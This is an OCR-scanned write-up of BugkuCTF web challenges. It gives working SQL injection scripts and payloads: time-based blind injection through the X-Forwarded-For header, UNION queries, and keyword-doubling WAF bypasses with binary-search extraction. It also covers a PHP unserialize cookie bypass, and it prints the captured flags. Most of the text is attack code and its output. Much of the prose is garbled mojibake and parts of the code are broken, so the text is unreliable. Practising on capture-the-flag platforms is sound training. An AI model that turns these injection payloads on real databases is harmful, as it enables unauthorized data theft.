mysql select db($db) or die(“Unable to select database”):

$ip = getIp();
echo ’your ip is :’.$ip;
$sql="insert into client ip (ip) values ( $ip’)”;

mysql_query ($sql) ;

JUFKHEHT TP AR J\

1. AEBLOH AR x error_reporting (0) J14% H EHARFE/\
2. ALBCE TP BE A A4 L F EBooleani J\

ERENE ANz Wik '{=2PE AN

payload x



#-%— encoding: utf-8 —%—

import requests

str_value="0123456789abcdefghi jklmnopqrstuvwxyzABCDEFGHI JKLMNOPQRSTUVWXYZ, !@&$% &*.”
url="http://123. 206. 87. 240:8002/web15/”
flag=""

B RIFITE x 14

ttdata = 11’ and (case when (length((select group concat(table name) from information schema.tables where
table name=database()))=14) then sleep(4) else 1 end)) #

BRI x client ip, flag

ttdata = 11’ and (case when (substr((select group concat(table name) from information schema. tables where

+ str(i) + 7 for 1 )="" + strl + ") then sleep(4) else 1 end )) #”

”

table schema=database() ) from

Bl 2R E x 4

ttdata = 11’ and (case when (length((select group concat(column name) from information schema.columns where
table name= flag’))=4) then sleep(4) else 1 end)) #

BRI X Flag

ttdata = “11° and (case when (substr((select group concat(column name) from information schema.columns where

"

table name=" flag’ ) from ” + str(i) + 7 for 1 )="" + strl + ) then sleep(4) else 1 end )) &

B A1 9 x 32

ttdata = 11’ and (case when (length((select group concat(flag) from flag))=32) then sleep(4) else 1 end)) #
B x xx
ttdata = “11° and (case when (substr((select group concat(flag) from flag) from
sleep(4) else 1 end )) #”

”

for i in range (1, 33):
for strl in str value:
data = 11’ and (case when (substr((select group concat(flag) from flag) from ”
””) then sleep(5) else 0 end )) #”
headers = {"x-forwarded-for”:data}
try:
result = requests. get (url, headers=headers, timeout=4)
except:
flag += strl
print (“flag:”+flag)
break
print ( End Flag:’ + flag)

get flag:

flag{cdbf14c9551d5be5612f7bb5d2827853}

38. XA AT It 5 B HE

Fri: SQLIEA
Hbik:  http://123.206.87.240:9001/sql/

+ str(i) + 7 for 1 )="" + strl +

”y

) then

+str(i) +7 for 1 )=" + strl +


http://123.206.87.240:9001/sql/

A — N AP AR [ AR
150

http://123.206.87.240:9001/sql/

flag#s = flagl}

Flag Submit

*FUsernameit 4TI & Bladmin"4 Bon iR E B, admin"#i s 1EHR, BNAAERATEAN

i) 7 B

admin" order by 1,2# False
admin" order by 1,2,3# True

i A e

admin" union select databses(),2#

X £ — N F B R A
k& FaX X

admin" union select database(),2#

GO GO GO

HR

admin" union select group_concat(table_name),2 from information_schema.tables where
table_schema="bugkusqll'#



XX — A FHE RFE

X5 FX R

admin” union select group_concat(table_nam

GO GO GO

#rififlag13& 7 &

admin" union select group_concat(column_name),2 from information_schema.columns where table_name='flagl' and
table_schema="bugkusqll'#

X A2 — A F R ER G
KA FRIX

admin” union select group_concat(column_ng

GO GO GO

i) 7 B

admin" union select group_concat(flagl),2 from bugkusqll.flagl#



AR R F |

S £ ST X I

group_concat(flag1),2 from bugkusal1.flag1#

GO GO GO

get flag:

flag{ed6b28e684817d9efcaf802979e57aea}

39. £k
5. SQIIEAN

Hhtik: http://123.206.87.240:9004

%k
150

http://123.206.87.240:9004

FEA 24 flag
flag#g A1 5
flag#& = flag{}

BIhG S


http://123.206.87.240:9004/

There 1s nothing.

KRBT BEAFAEIEN

There is nothing.

W fuzzIl A A i g 1 e
payload1

# 123.206.87.240:9004/1ndex.php?id=1"' anandd length("sselectelect") --+ true
# 123.206.87.240:9004/1ndex.php?id=1" anandd length("select") --+ false




[?] Payload Positions

Configure the positions where payloads will be inserted info the base request The aftack type determines the way in which payloads are assigned to payload positions -

Aftack type: [ Sniper

GET /lndex. php?id=1%27%20anandd%20length (%22 § sselectelect § %22)%20--+ HTTE/1. 1

Host: 123. 208. 87. 240:9004

User—-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; =64; rv:86.0) Gecko/20100101 Firefox/66.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, #/*: g=0.8

Accept-Language: zh-Cl, zh; q=0. &, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2
fccept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: maz-age=0

E Intruder attack 1 - O X
Attack Save Columns
jResulIs I Target I Positions I Payloads [ Options }
‘ Filter: Showing all items | ?
Request | Payload | Status | Error |Timeoul ‘ Length v| Comment
1 200 m] ] 581 2
5 union 200 m] ] 581
14 select 200 | (0] 581
33 and 200 | O 581
39 or 200 0 O 581
60 200 m] ] 581
85 3 200 m] ] 581
75 # 200 | (0] 581
95 sEleCt 200 | O 581
102 +#UNIOn+#sEleCt 200 =] (0] 581
103 +#19%0AUNIOn all#qa%0A#%0As... 200 m] ] 581
0 200 m] ] 575 baseline request
2 o if 200 | (] 575
3 is 200 | O 575
4 is not 200 | O 575
6 like 200 o g 575 v
Respone
Raw | Headers | Hex | HTML I Render }
</head> o
<body>
</body>
</html »
<{center><{font color= "#0000' >Error, Exror, Error! <br><{br></font></center>
b1
7. < + > | | Type a search term 0 matches

Finished |

FEFNE I UE TR Sct 2 5, BN R IAFEAT R BT
payload2

http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=1--+

http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=2--+




TE C A EAT R B R AL 9w 'S POCA



import requests

url = "http://123.206.87.240:9004/1ndex.php?id=1" anandd (ascii(substr((selselectect database()),{_},1))>

{3 --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1" anandd (seselectlect ascii(substr((selselectect
group_concat(table_name separatoorr ':') from infoorrmation_schema.tables where table_schema=database()),

{ZHLD){ ) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1" anandd (seselectlect ascii(substr((seselectlect

group_concat(column_name separatoorr ':') from infoorrmation_schema.columns where table_name='flagl' anandd
table_schema=database()),{ _},1))>{__}) --+"

#url = "http://123.206.87.240:9004/1ndex.php?id=1" anandd (selselectect ascii(substr((selselectect
group_concat(flagl,':"',address separatoorr '?') from flagl),{ },1))>{__}) --+"

data = "'

for i in range(1,100):
min = 33
max = 126
while min<=max:
mid = (max + min)//2
payload = url.format(_=i, _ = mid)
r = requests.get(payload)
if 'There is nothing.' in r.text:
min = mid+1
else:
max = mid-1

data += chr(min)

print(data)
print("done")

PS: Ak ryWafr] F U et 7 et
Run %4 2 :



W
we

web

webl

webl0

webl00
webl002
webl0O2-
webl002-1
webl0O2-1!
webl0E2-1!!
webl0O2-1!!!
webl0E2-1!!1!!

Process finished with exit code -1

Run 2@

.F

fl

fla
flag
flagl
flagl:
flagl:h
flagl:hi

flagl:hin
flagl:hint
flagl:hint!
flagl:hint!!
flagl:hint!!!
flagl:hint!!!!

Process finished with exit code -1

Run 7 :



£
fl

fla

flag

flagl

flagl:

flagl:a

flagl:ad
flagl:add
flagl:addr
flagl:addre
flagl:addres
flagl:address
flagl:address!
flagl:address!
flagl:address!!!
flagl:address!

Run 7B Value:

usOwycTju+FTU

usOwycTju+FTUU

usOwycTju+FTUUZ

usOwycTju+FTUUZX
usOwycTju+FTUUzXo
usOwycTju+FTUUzXos
usOwycTju+FTUUzXos]
usOwycTju+FTUUzXosjr
usOwycTjut+FTUUzXosjr:
usOwycTju+FTUUzXosjr: .
usOwycTju+FTUUzXosjr: .
usOwycTju+FTUUzXosjr: .
usOwycTju+FTUUzXosjr: .
usOwycTju+FTUUzXosjr: .
usOwycTju+FTUUzXosjr: .,
usOwycTju+FTUUzXosjr: .
usOwycTju+FTUUzXosjr: ., M
usOwycTju+FTUUzXosjr: . _Mo
usOwycTju+FTUUzXosjr: ./ _Mo
usOwycTju+FTUUzXosjr:./Once_M
usOwycTju+FTUUzXosjr:./Once_More.
|
A
|

usOwycTju+FTUUzXosjr:./Once_
usOwycTju+FTUUzXosjr: . More.
usOwycTju+FTUUzXosjr:./Once_More.
usOwyclju+rTUUzXos]r:.

Process finished with exit code -1

WREI K flaglfiflagl v BN & H AR Hiflag, f£&flaglijaddress B+ &K BT ffIHint

23X 1Jj I1./Once_More.php



® 123.206.87.240:9004/0Once_More

FEMIR S R IAFAEAT R BT
payload3

http://123.206.87.240:9004/0nce_More.php?id=1%27%20and%201=1--+

http://123.206.87.240:9004/0nce_More.php?id=1%27%20and%201=2--+

@ 123.206.87.240:9004/Once_More

LoL,YOU Find ME!
i
I wanT TEll You,

| Have Best Waf Protect Me Now!
Find Me!

d=1
Hello,| Am Here!

LoL,YOU Find ME!

BUT,
I wanT TEll You,

| Have Best Waf Protect Me Now!

My ld =1"and 1=1--
Hello,| Am Here!




® 123.206.87.240:9004/Once_More.php?id=

LoL,YOU Find ME!
BUT,
I wanT TEIl You,
| Have Best Waf Protect Me Now!

FahA & B 3E T union. substr

MR %

® 123.206.87.240:9004/Once_More

| wanT TEIl You,

| Have Best Waf Protect Me Now!

Find Me!

ySQL server version for the right syntax to use near 'select 1-- ™ at |}




( 123.206.87.240:9004/0nce_M

® 123.206.87.240:9004/Once_More.php?id-

LoL,YOU Find ME!
BUT,
I wanT TEll You,

| Have Best Waf Protect Me Now!

Find Me!

1" and (select 1)--

Hello,| Am Here!

LoL,YOU Find ME!
BUT,
I wanT TEll You,
| Have Best Waf Protect Me Now!

Find Me!




LoL,YOU Find ME!

BUT,
| wanT TEll You,

| Have Best Waf Protect Me Now!

My Id =1" and (select mid

Hello,| Am Here!

72 LT 2Rl F 2 5 58 i POC2

import requests

#url = "http://123.206.87.240:9004/0nce_More.php?id=1' and (ascii(mid((select database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/0nce_More.php?id=1' and (select ascii(mid((select group_concat(table_name
separator ':') from information_schema.tables where table_schema=database()),{_},1))>{__}) --+"

#url = "http://123.206.87.240:9004/0nce_More.php?id=1' and (select ascii(mid((select
group_concat(column_name separator ':') from information_schema.columns where table name='flag2' and
table_schema=database()),{_},1))>{__}) --+"

url = "http://123.206.87.240:9004/0nce_More.php?id=1"' and (select ascii(mid((select
group_concat(flag2,':',address separator '?') from flag2),{ _},1))>{__}) --+"

data = "'

for i in range(1,100):
min = 33
max = 126
while min<=max:
mid = (max + min)//2
payload = url.format(_=i, = mid)
r = requests.get(payload)
if 'Hello,I Am Here!' in r.text:
min = mid+1
else:
max = mid-1

data += chr(min)

print(data)
print("done")

PS: substrfifi Fimid % #

Run %  :



W
we

web
webl
webl0
web1l00

webl0E2
webl002-
webl002-2
webl002-2!

Process finished with exit code -1

Run i‘%:

c
cl
cla
clas
class
class:
class:f
class:fl
class:fla
class:flag
class:flag2!
class:flag2!!
class:flag2!!!
class:flag2!!!!

Process finished with exit code -1

Run '%Eﬁ

‘a

:ad
:add
raddr
:addre
:addres

flag2:address!
flag2:address!!
flag2:address!!!
flag2:address!!!!
flag2:

flag2:

Process finished with exit code -1




Run B Value:

flag{Bugku-sql_6s-21
flag{Bugku-sql_6s-21i-
flag{Bugku-sql_6s-21i-4
flag{Bugku-sql_6s-21i-4t
flag{Bugku-sql_6s-2i-4t-
flag{Bugku-sql_6s-21i-4t-b
flag{Bugku-sql_6s-2i-4t-bu
flag{Bugku-sql_6s-2i-4t-bug
flag{Bugku-sql_6s-2i-4t-bug}
flag{Bugku-sql_6s-2i-4t-bug}:
flag{Bugku-sql_6s-2i-4t-bug}:.
flag{Bugku-sql_6s-2i-4t-bug}:./
flag{Bugku-sql_6s-2i-4t-bug}:./H
flag{Bugku-sql_6s-2i-4t-bug}:./Ha
flag{Bugku-sql_6s-2i-4t-bug}:./Hav
flag{Bugku-sql_6s-2i-4t-bug}:./Have
flag{Bugku-sql_6s-2i-4t-bug}:./Have_
flag{Bugku-sql_6s-2i-4t-bug}:./Have_F
flag{Bugku-sql_6s-21i-4t-bug}:./Have_Fu
flag{Bugku-sql_6s-2i-4t-bug}:./Have_Fun
flag{Bugku-sql_6s-21i-4t-bug}:./Have_Fun.
flag{Bugku-sql_6s-21i-4t-bug}:./Have_Fun.p
flag{Bugku-sql_6s-2i-4t-bug}:./Have_Fun.ph
flag{Bugku-sql_6s-2i-4t-bug}:./Have_Fun.php
agiBugku-sql_6s-21-4t-bug}:./Have_Fun.php!

Process finished with exit code -1

B¥EFEs flag NN
get flag:

flag{bugku-sql_6s-2i-4t-bug}

42. flag. php
E Wt x (LB 1T php FE Y]
ZS xhttp://123. 206. 87. 240:8002/flagphp
flag.php
200

#3k: httpy//123.206.87.240:8002/Aagphp/
AT login®s iZ B2

#7: hint

W loginkft =R H FE= HRIEFEAE x hint [EHENE7 FRE = JCURIENA] http://123. 206. 87. 240:8002/f1agphp/?
hint= 1E$| 2 HEREREE S


http://123.206.87.240:8002/flagphp/

<{?php
error reporting(0) ;
include once(“flag. php”);
$cookie = $ COOKIE[’ ISecer’ ];
if(isset($ GET[ hint’ 1)) {
show source( FILE );
}
elseif (unserialize($cookie) === "§KEY”)
{
echo "$flag”;
}
else {
2>
<html>
<head>
<meta http-equiv="Content-Type” content="text/html; charset=UTF-8">
<{title>Login</title>
<link rel="stylesheet” href="admin. css” type="text/css”>
</head>
<body>
<br>
<div class="container” align="center”>
{form method="POST” action="#">
<{p><input name="user” type="text” placeholder="Username”></p>
<{p><input name="password” type="password” placeholder="Password”></p>
<p><input value="Login” type="button”/></p>
</form>
</div>
<{/body>
</html>

<{?php
}

$KEY="ISecer:www. isecer. com’ ;
>

(BB L2 FFE BB x 1. $cookie = $ COOKIE[ ISecer’ ]RAMFIT ATNE Leiti JbE ) I8 2K b i fii
233333333332, unserialize ($cookie) === "$KEY” //TEAZ M $key==null

Bl #BurpSui tedF 4 cht tpHFIF AR A cook e x ISecer=s:0:"";

Go Cancel <|v > |

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /flagphp/ HITP/1.1 4 HITP/1.1 200 OK

Host: 123.206. 87.240:8002 Server: nginx

User-Agent: Meozilla/5.0 (Windows NT 10.0; Win64; x64; rv:6l.0) Gecko/20100101 Date: Sat, 16 Feb 2019 10:28:11 GNT
Firefox/61.0 Content-Type: text/html
Accept: text/html, application/zhtml+xml, application/xml;q=0. 9, */*;q=0. 8 Commection: keep-alive
Accept-Language: zh-CH, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2 Keep-Alive: timeout=60
Accept-Encoding: gzip, deflate Content-Length: 27

Cookie: ISecer=s:0:"";

Connection: keep-alive flag {unserialize_by_virink}
Upgrade-Insecure-Requests: 1

Cache—Control: max-age=0

get flag:

flag{unserialize by virink}



48. flag. php
EHt x ALBUE 1L 4 php A - CBC2E 4 57 il ]
ZI xhttp://123. 206. 31. 85:49168/

Challenge 211 Solves

loging
250

http://123.206.31.85:49168/
flagis #.: SKCTFDOOOOGOOOOKKKRK]
hint:CBCF % &4 4 &

Flag Submit

OIS = UFECEEZENFK T x

CBCZ AL & #af ~] https://www. cnblogs. com/qftm/p/10595591. html

get flagx

SKCTF {CBC_wEB_cryptography 6646dfgdg6}

W H E & +ing

3T :https://www.cnblogs.com/qftmvp/10388710.html


http://123.206.31.85:49168/

	BugkuCTF~Web~WriteUp

